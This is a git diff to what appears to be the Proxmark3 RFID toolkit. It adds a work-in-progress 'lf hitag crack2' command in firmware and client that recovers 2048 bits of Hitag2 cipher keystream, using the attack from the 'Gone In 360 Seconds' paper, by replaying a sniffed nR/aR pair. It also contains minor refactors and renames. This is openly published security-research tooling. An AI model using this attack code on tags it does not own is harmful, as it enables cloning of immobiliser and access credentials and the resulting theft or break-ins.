diff --git a/CHANGELOG.md b/CHANGELOG.md index d01f6fdf6..a984fc544 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `lf hitag crack2` - WIP. Trying to add the second attack vector against Hitag2 (@iceman1001) - Changed `hf 14b reader --plot` - made the anticollision signal trace download optional (@iceman1001) - Added `lf_hitag_crypto.trace` - trace file of a complete read out of a Hitag2 in crypto mode (@iceman1001) - Fix `lf cmdread` - uninitialised memory usage (@iceman1001) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index adc567d59..20740bc36 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -380,13 +380,17 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) // frame_len is in number of bits? static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_len) { + WDT_HIT(); + uint32_t wait = 0; // Send the content of the frame for (size_t i = 0; i < frame_len; i++) { wait += hitag_reader_send_bit(frame[i]); } + // EOF // Enable modulation, which means, drop the field + // set GPIO_SSC_DOUT to HIGH lf_modulation(true); // Wait for 4-10 times the carrier period @@ -394,12 +398,15 @@ static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_l wait += HITAG_T_LOW; // Disable modulation, just activates the field again + // set GPIO_SSC_DOUT to LOW lf_modulation(false); // t_stop, high field for stop condition (> 36) lf_wait_periods(HITAG_T_STOP); wait += HITAG_T_STOP; + WDT_HIT(); + return wait; } @@ -768,6 +775,8 @@ static bool hitag2_crypto(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t * } if (bCrypto && (bAuthenticating == false) && write) { + + SpinDelay(2); if (hitag2_write_page(rx, rxlen, tx, txlen) == false) { return false; } @@ -2583,8 +2592,7 @@ bool ht2_packbits(uint8_t *nrz_samples, size_t nrzs, uint8_t *rx, size_t *rxlen) int ht2_read_uid(uint8_t *uid, bool ledcontrol, bool send_answer, bool keep_field_up) { - // Clean up trace and prepare it for storing frames - set_tracing(true); + g_logging = false; // keep field up indicates there are more traffic to be done. if (keep_field_up == false) { @@ -2685,12 +2693,7 @@ int ht2_tx_rx(uint8_t *tx, size_t txlen, uint8_t *rx, size_t *rxlen, bool ledcon int res = PM3_EFAILED; size_t nrzs = 0; - uint8_t samples[HT2_MAX_NRSZ]; - - // waith between sending commands - lf_wait_periods(HITAG_T_WAIT_2_MIN); - - WDT_HIT(); + uint8_t samples[HT2_MAX_NRSZ] = {0}; uint32_t command_start = 0, command_duration = 0; uint32_t response_start = 0, response_duration = 0; @@ -2709,19 +2712,15 @@ int ht2_tx_rx(uint8_t *tx, size_t txlen, uint8_t *rx, size_t *rxlen, bool ledcon } // pack bits to bytes - if (ht2_packbits(samples, nrzs, rx, rxlen) == false) { + if (rx && (ht2_packbits(samples, nrzs, rx, rxlen) == false)) { goto out; } - // log Receive data - LogTraceBits(rx, *rxlen, response_start, response_start + response_duration, false); - res = PM3_SUCCESS; -out: +out: if (keep_field_up == false) { lf_finalize(false); - BigBuf_free_keep_EM(); } return res; } diff --git a/armsrc/hitag2_crack.c b/armsrc/hitag2_crack.c index b9a247957..c173278b3 100644 --- a/armsrc/hitag2_crack.c +++ b/armsrc/hitag2_crack.c @@ -28,6 +28,7 @@ #include "string.h" #include "BigBuf.h" #include "cmd.h" +#include "lfadc.h" const static uint8_t ERROR_RESPONSE[] = { 0xF4, 0x02, 0x88, 0x9C }; @@ -48,20 +49,18 @@ static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_ // nrar is the 64 bit binarray of the nR aR pair; // cmd is the binarray of the encrypted command to send; // len is the length of the encrypted command. -static bool hitag2crack_send_e_cmd(uint8_t *resp, uint8_t *nrar, uint8_t *cmd, int len) { +static bool hitag2crack_send_e_cmd(uint8_t *resp, uint8_t *nrar, uint8_t *cmd, size_t len) { memset(resp, 0, 4); // Get UID - uint8_t uid[4]; - if (ht2_read_uid(uid, false, false, true) != PM3_SUCCESS) { + if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) { return false; } // send nrar and receive (useless) encrypted page 3 value - uint8_t e_page3[4]; size_t n = 0; - if (ht2_tx_rx(nrar, 64, e_page3, &n, true, true) != PM3_SUCCESS) { + if (ht2_tx_rx(nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) { return false; } @@ -146,12 +145,12 @@ static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar, // e_uid is the binarray of the encrypted version of the UID. static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) { - uint8_t cipherbits[42]; + uint8_t cipherbits[42] = {0}; memcpy(cipherbits, e_cmd, 10); // copy encrypted cmd to cipherbits memcpy(cipherbits + 10, e_uid, 32); // copy encrypted uid to cipherbits - uint8_t plainbits[42]; + uint8_t plainbits[42] = {0}; memcpy(plainbits, read_p0_cmd, sizeof(read_p0_cmd)); // copy cmd to plainbits memcpy(plainbits + 10, uid, 32); // copy uid to plainbits @@ -159,23 +158,23 @@ static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e hitag2crack_xor(keybits, plainbits, cipherbits, 42); // create extended cmd -> 4 * READP0CMD = 40 bits - uint8_t ext_cmd[40]; - memcpy(ext_cmd, read_p0_cmd, sizeof(read_p0_cmd)); - memcpy(ext_cmd + 10, read_p0_cmd, sizeof(read_p0_cmd)); - memcpy(ext_cmd + 20, read_p0_cmd, sizeof(read_p0_cmd)); - memcpy(ext_cmd + 30, read_p0_cmd, sizeof(read_p0_cmd)); - // xor extended cmd with keybits - uint8_t e_ext_cmd[40]; - hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40); + uint8_t e_ext_cmd[40] = {0}; + hitag2crack_xor(e_ext_cmd, read_p0_cmd, keybits, 10); + hitag2crack_xor(e_ext_cmd + 10, read_p0_cmd, keybits + 10, 10); + hitag2crack_xor(e_ext_cmd + 20, read_p0_cmd, keybits + 20, 10); + hitag2crack_xor(e_ext_cmd + 30, read_p0_cmd, keybits + 30, 10); // send extended encrypted cmd - uint8_t resp[4]; + uint8_t resp[4] = {0}; if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) { - + // test if it was valid if (memcmp(resp, ERROR_RESPONSE, 4)) { return true; + } else { + DbpString("test enc-page0 cmd. got error-response"); + Dbhexdump(4, resp, false); } } return false; @@ -230,6 +229,7 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd, if (memcmp(resp, ERROR_RESPONSE, 4)) { // convert response to binarray + // response should been encrypted UID uint8_t e_uid[32]; hex2binarray((char *)e_uid, (char *)resp); @@ -296,11 +296,115 @@ static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) { return false; } + + +typedef struct { + uint8_t keybits[2080]; + uint8_t uid[32]; + uint8_t nrar[64]; + uint8_t e_ext_cmd[2080]; + uint8_t ext_cmd[2080]; +} PACKED lf_hitag_crack2_t; + +// hitag2crack_consume_keystream sends an extended command (up to 510 bits in +// length) to consume keystream. +// keybits is the binarray of keystream bits; +// kslen is the length of keystream; +// ksoffset is a pointer to the current keystream offset (updated by this fn); +// nrar is the 64 bit binarray of the nR aR pair. +//static bool ht2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset) { +static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ksoffset) { + + // calculate the length of keybits to consume with the extended command. + // 42 = 32 bit response + 10 bit command reserved for next command. conlen + // cannot be longer than 510 bits to fit into the small RWD buffer. + int conlen = kslen - *ksoffset - 42; + if (conlen < 10) { + DbpString("ht2crack_consume_keystream: conlen < 10"); + return false; + } + + // calculate how many repeated commands to send in this extended command. + int numcmds = conlen / 10; + + // xor extended cmd with keybits + hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits + *ksoffset, (numcmds * 10)); + + // send encrypted command + size_t n = 0; + uint8_t resp[4]; + if (ht2_tx_rx(c2->e_ext_cmd, numcmds * 10, resp, &n, true, true) != PM3_SUCCESS) { + Dbprintf("ht2crack_consume_keystream: tx/rx cmd failed, got %zu", n); + return false; + } + + // test response + if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { + DbpString("ht2crack_consume_keystream: got error response from card"); + return false; + } + + // dont bother decrypting the response - we already know the keybits + + // update ksoffset with command length and response + *ksoffset += (numcmds * 10) + 32; + + return true; +} + +// hitag2crack_extend_keystream sends an extended command to retrieve more keybits. +// keybits is the binarray of the keystream bits; +// kslen is a pointer to the current keybits length; +// ksoffset is the offset into the keybits array; +// nrar is the 64 bit binarray of the nR aR pair; +// uid is the 32 bit binarray of the UID. +//static bool ht2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) { +static bool ht2crack_extend_keystream(lf_hitag_crack2_t *c2, int *kslen, int ksoffset) { + + // calc number of command iterations to send + int cmdlen = *kslen - ksoffset; + if (cmdlen < 10) { + DbpString("extend_keystream: cmdlen < 10"); + return false; + } + + int numcmds = cmdlen / 10; + + // xor extended cmd with keybits + hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits + ksoffset, numcmds * 10); + + // send extended encrypted cmd + size_t n = 0; + uint8_t resp[4]; + if (ht2_tx_rx(c2->e_ext_cmd, numcmds * 10, resp, &n, true, true) != PM3_SUCCESS) { + DbpString("extend_keystream: tx/rx cmd failed"); + Dbhexdump(numcmds * 10, c2->e_ext_cmd, false); + return false; + } + + // test response + if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { + return false; + } + + // convert response to binarray + uint8_t e_response[32]; + hex2binarray((char*)e_response, (char*)resp); + + // recover keystream from encrypted response + hitag2crack_xor(c2->keybits + ksoffset + (numcmds * 10), e_response, c2->uid, 32); + + // update kslen + *kslen = ksoffset + (numcmds * 10) + 32; + + return true; +} + // hitag2_crack implements the first crack algorithm described in the paper, // Gone In 360 Seconds by Verdult, Garcia and Balasch. // response is a multi-line text response containing the 8 pages of the cracked tag // nrarhex is a string containing hex representations of the 32 bit nR and aR values -void ht2_crack(uint8_t *nrar_hex) { +void ht2_crack1(uint8_t *nrar_hex) { clear_trace(); @@ -340,7 +444,6 @@ void ht2_crack(uint8_t *nrar_hex) { res = PM3_EFAILED; goto out; } - // read all pages using key stream for (uint8_t i = 1; i < 8; i++) { hitag2crack_read_page(packet.data + (i * 4), i, nrar, keybits); @@ -354,3 +457,121 @@ void ht2_crack(uint8_t *nrar_hex) { out: reply_ng(CMD_LF_HITAG2_CRACK, res, (uint8_t *)&packet, sizeof(lf_hitag_crack_response_t)); } + +// hitag2_keystream uses the first crack algorithm described in the paper, +// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits of keystream. +// response is a multi-line text response containing the hex of the keystream; +// nrar_hex is the 32 bit nR and aR in hex +void ht2_crack2(uint8_t *nrar_hex) { + + + lf_hitag_crack2_t *c2 = (lf_hitag_crack2_t*)BigBuf_calloc(sizeof(lf_hitag_crack2_t)); + lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t*)BigBuf_calloc(sizeof(lf_hitag_crack_response_t)); + + g_logging = false; + LEDsoff(); + set_tracing(false); + clear_trace(); + + int res = PM3_SUCCESS; + + // find the 'read page 0' command and recover key stream + + // get uid as hexstring + uint8_t uid_hex[4]; + if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) { + res = PM3_EFAILED; + goto out; + } + + hex2binarray_n((char *)c2->uid, (char *)uid_hex, 4); + hex2binarray_n((char *)c2->nrar, (char *)nrar_hex, 8); + + // find a valid encrypted command + uint8_t e_firstcmd[10]; + if (hitag2crack_find_valid_e_cmd(e_firstcmd, c2->nrar) == false) { + res = PM3_EFAILED; + goto out; + } + + if (hitag2crack_find_e_page0_cmd(c2->keybits, e_firstcmd, c2->nrar, c2->uid) == false) { + res = PM3_EFAILED; + goto out; + } + + // Now we got 40 bits of keystream in c2->keybits. + + // using the 40 bits of keystream in keybits, sending commands with ever + // increasing lengths to acquire 2048 bits of key stream. + int kslen = 40; + + // build extended command + for (int i = 0; i < 208 ; i++) { + memcpy(c2->ext_cmd + (i * 10), read_p0_cmd, 10); + } + + while (kslen < 2048) { + + int ksoffset = 0; + + // Get UID + if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) { + res = PM3_EFAILED; + goto out; + } + + // send nrar and receive (useless) encrypted page 3 value + size_t n = 0; + if (ht2_tx_rx(c2->nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) { + res = PM3_EFAILED; + goto out; + } + + // while we have at least 52 bits of keystream, consume it with + // extended read page 0 commands. + // 52 = 10 (min command len) + 32 (response) + 10 (min command len we'll send) + while ((kslen - ksoffset) >= 52) { + // consume the keystream, updating ksoffset as we go + //if (ht2crack_consume_keystream(c2->keybits, kslen, &ksoffset, c2->nrar) == false) { + if (ht2crack_consume_keystream(c2, kslen, &ksoffset) == false) { + DbpString("ht2crack_consume_keystream failed"); + res = PM3_EFAILED; + goto out; + } + } + + // send an extended command to retrieve more keystream, + // updating kslen as we go + if (ht2crack_extend_keystream(c2, &kslen, ksoffset) == false) { + DbpString("ht2crack_extend_keystream failed"); + res = PM3_EFAILED; + goto out; + } + + Dbprintf("Recovered " _YELLOW_("%i") " bits of keystream", kslen); + } + + uint8_t *keybitshex = BigBuf_calloc(64); + for (int i = 0; i < 2048; i += 256) { + binarray2hex(c2->keybits + i, 256, keybitshex); + Dbhexdump(256, keybitshex, false); + } + BigBuf_free(); + + // copy UID since we already have it... + memcpy(packet->data, uid_hex, 4); + packet->status = 1; + +out: + +/* + DbpString("keybits:"); + Dbhexdump(2080, c2->keybits, false); + DbpString("uid:"); + Dbhexdump(32, c2->uid, false); + DbpString("nrar:"); + Dbhexdump(64, c2->nrar, false); +*/ + + reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t)); +} diff --git a/armsrc/hitag2_crack.h b/armsrc/hitag2_crack.h index 8709da195..9b99d93cc 100644 --- a/armsrc/hitag2_crack.h +++ b/armsrc/hitag2_crack.h @@ -22,6 +22,6 @@ #include #include "common.h" -void ht2_crack(uint8_t *nrar_hex); - +void ht2_crack1(uint8_t *nrar_hex); +void ht2_crack2(uint8_t *nrar_hex); #endif diff --git a/client/src/cmdlfhitag.c b/client/src/cmdlfhitag.c index 81ab2707b..193699b71 100644 --- a/client/src/cmdlfhitag.c +++ b/client/src/cmdlfhitag.c @@ -2167,6 +2167,77 @@ static int CmdLFHitag2Lookup(const char *Cmd) { return PM3_SUCCESS; } +static int CmdLFHitag2Crack2(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag lookup", + "This command tries to recover 2048 bits of Hitag2 crypto stream data.\n", + "lf hitag crack2 --nrar 73AA5A62EAB8529C" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0(NULL, "nrar", "", "specify nonce / answer as 8 hex bytes"), + arg_param_end + }; + + CLIExecWithReturn(ctx, Cmd, argtable, false); + int nalen = 0; + uint8_t nrar[8] = {0}; + CLIGetHexWithReturn(ctx, 1, nrar, &nalen); + CLIParserFree(ctx); + + // sanity checks + if (nalen && nalen != 8) { + PrintAndLogEx(INFO, "NrAr wrong length. expected 8, got %i", nalen); + return PM3_EINVARG; + } + + lf_hitag_data_t packet; + memset(&packet, 0, sizeof(packet)); + memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); + + PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Crack2 (NrAR)"); + + uint64_t t1 = msclock(); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAG2_CRACK_2, (uint8_t *) &packet, sizeof(packet)); + + // loop + uint8_t attempt = 30; + do { + + PrintAndLogEx(INPLACE, "Attack 2 running..."); + fflush(stdout); + + if (WaitForResponseTimeout(CMD_LF_HITAG2_CRACK_2, &resp, 1000) == false) { + attempt--; + continue; + } + +// lf_hitag_crack_response_t *payload = (lf_hitag_crack_response_t *)resp.data.asBytes; + if (resp.status == PM3_SUCCESS) { + PrintAndLogEx(NORMAL, " ( %s )", _GREEN_("ok")); + break; + } else { + PrintAndLogEx(NORMAL, " ( %s )", _RED_("fail")); + break; + } + + } while (attempt); + + if (attempt == 0) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ESOFT; + } + + t1 = msclock() - t1; + PrintAndLogEx(SUCCESS, "\ntime " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); + return PM3_SUCCESS; +} + /* Test code Test data and below information about it comes from @@ -2285,9 +2356,9 @@ static uint64_t hitag2_verify_crypto_test_round(void) { static int CmdLFHitag2Selftest(const char *Cmd) { CLIParserContext *ctx; - CLIParserInit(&ctx, "lf hitag selftest", - "Perform selftest of Hitag crypto engine", - "lf hitag selftest\n" + CLIParserInit(&ctx, "lf hitag test", + "Perform self tests of Hitag crypto engine", + "lf hitag test\n" ); void *argtable[] = { @@ -2324,7 +2395,7 @@ static command_t CommandTable[] = { {"list", CmdLFHitagList, AlwaysAvailable, "List Hitag trace history"}, {"-----------", CmdHelp, IfPm3Hitag, "------------------------ " _CYAN_("General") " ------------------------"}, {"info", CmdLFHitagInfo, IfPm3Hitag, "Hitag 2 tag information"}, - {"selftest", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self test"}, + {"test", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self tests"}, {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Operations") " -----------------------"}, // {"demod", CmdLFHitag2PWMDemod, IfPm3Hitag, "PWM Hitag 2 reader message demodulation"}, {"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag 2 tag"}, @@ -2339,6 +2410,7 @@ static command_t CommandTable[] = { {"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder"}, {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Recovery") " -----------------------"}, {"cc", CmdLFHitagSCheckChallenges, IfPm3Hitag, "Hitag S: test all provided challenges"}, + {"crack2", CmdLFHitag2Crack2, IfPm3Hitag, "Recover 2048bits of crypto stream"}, {"chk", CmdLFHitag2Chk, IfPm3Hitag, "Check keys"}, {"lookup", CmdLFHitag2Lookup, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"}, {"ta", CmdLFHitag2CheckChallenges, IfPm3Hitag, "Hitag 2: test all recorded authentications"},